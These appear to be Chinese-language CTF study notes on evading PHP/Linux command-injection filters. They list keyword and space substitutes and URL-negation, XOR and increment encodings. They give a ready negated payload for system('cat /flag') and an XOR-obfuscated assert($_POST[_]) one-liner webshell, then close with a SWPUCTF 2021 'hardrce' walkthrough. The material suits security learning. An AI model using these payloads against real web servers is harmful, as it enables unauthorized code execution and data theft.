关键字过滤替换
system替换
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
assert()
绕过:大小写,双写,
/
syst‘’em,syst‘e’m
cat替换
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
大小写绕过
php可以忽略大小写的,如果preg_match没有过滤大小写就可以
\绕过
php内的" \ "在做代码执行的时候,会被识别为特殊字符串,绕过黑名单
管道符: ; 实现字符串拼接绕过
只能在linux下使用
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php //这样就可以实现cat flag.php
;可执行多条命令,$a$b会自动字符拼接
Tab 制表符加上通配符进行绕过
在 Linux 中使用 Tab (%09)键,可以实现命令补全、文件和目录名补全等。
?ip=127.0.0.1%0als%09*lag.php //这样就实现了ls flag.php
$_GET绕过
原理:使用?cmd=$_GETa;&a=phpinfo
通过get传参传入函数,这时会被eval执行为
?cmd=phpinfo()
符号绕过
空格绕过
空格可以用下面的符号来绕过
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
过滤目录分隔符(\ /)
使用cd命令来绕过
举例:
ping 127.0.0.1;cat flag/flag.php
可以被替换为ping 127.0.0.1;cd flag;cat flag.php
命令拼接符
; //分号用于分隔多个命令,无论前一个命令是否成功,都会执行后续命令
| //将前一个命令的输出作为后一个命令的输入。
|| //前一个命令失败时,执行后一个命令。
& //在后台执行命令,或分隔多个命令
&& //前一个命令成功后,执行后一个命令。
%0a//换行符
编码绕过
unicode绕过
在一些能够识别并解析Unicode的函数时,使用Unicode编码绕过过滤
Unicode编码工具
URL编码取反绕过
个人觉得绕过全字母黑名单时的好方法
原理:
1.取反操作:在PHP中,~运算符会对字符的二进制按位取反(如a的ASCII码为0x61,取反后为0x9E)。
2.URL编码:将取反后的字节转换为%HH格式(如0x9E编码为%9E),以绕过基于黑名单的关键字过滤(如system、cat等)。再通过php解析回来
payload的构建:
原始命令:system(‘cat /flag’);
取反操作后:
// PHP中直接对字符串取反
$payload = "system('cat /flag');";
$negated = ~$payload; // 按字节取反
echo urlencode($negated); // 输出URL编码后的结果
得到:%8C%86%8C%8B%9A%92%88%93%8C%DF%D0%8D%86%8C%8B%9A%92%9B%96%D4
实战payload:
URL/?cmd=(~%8C%86%8C%8B%9A%92%88%93%8C%DF%D0%8D%86%8C%8B%9A%92%9B%96%D4)
等价于:
URL/?cmd=system('cat /flag');
异或绕过
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可
比如a等于%40和%21异或得到的结果
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$__;
$_($___[_]); // assert($_POST[_]);
这样就实现了异或绕过
附:
通过固定使用 %40(即@)作为其中一个操作数来生成异或表
a = %21 ^ %40
b = %22 ^ %40
c = %23 ^ %40
d = %24 ^ %40
e = %25 ^ %40
f = %26 ^ %40
g = %27 ^ %40
h = %28 ^ %40
i = %29 ^ %40
j = %2A ^ %40
k = %2B ^ %40
l = %2C ^ %40
m = %2D ^ %40
n = %2E ^ %40
o = %2F ^ %40
p = %30 ^ %40
q = %31 ^ %40
r = %32 ^ %40
s = %33 ^ %40
t = %34 ^ %40
u = %35 ^ %40
v = %36 ^ %40
w = %37 ^ %40
x = %38 ^ %40
y = %39 ^ %40
z = %3A ^ %40
; = %7B ^ %40
/ = %6F ^ %40
\ = %1C ^ %40
& = %66 ^ %40
自增绕过
原理:
利用了php语言中存在自增规则
比如:
'a'++='b'
'z'++='aa'
'9'++='10'
自增规则的特性:
后置递增运算符($ a++)的特性:先返回变量的当前值,再对变量进行递增。
前置递增运算符(++$a):先递增变量,再返回新值。
$a = 'a';
echo $a++; // 输出 'a'(返回原值后自增)
echo $a; // 输出 'b'(自增后的新值)
举例:生成system函数:
$_ = 's'; // $_ = 's'
$_++; // $_ = 't'
$__ = 'y'; // $__ = 'y'
$__++; // $__ = 'z'
$func = $_ . $__ . $_ . 'tem'; // 拼接为 'system'
$func('whoami'); // 执行系统命令
案例实操
[SWPUCTF 2021 新生赛]hardrce
这个题,拿到题目发现所有字母都被过滤了,然后通配符,空格,斜杠也被滤了,但是发现百分号和~没被滤,就尝试利用取反绕过
构造payload:
?wllm=system('ls /');
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
发现了flag,接下来得到它
?wllm=system('cat /flllllaaaaaaggggggg');
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
关于这两处为什么要把system和里面的指令单独取反再拼接的点我不是很清楚,因为我试了直接把system连带里面的指令一起取反后发现不会执行,只有先取反后拼接才行
这样就得到flag了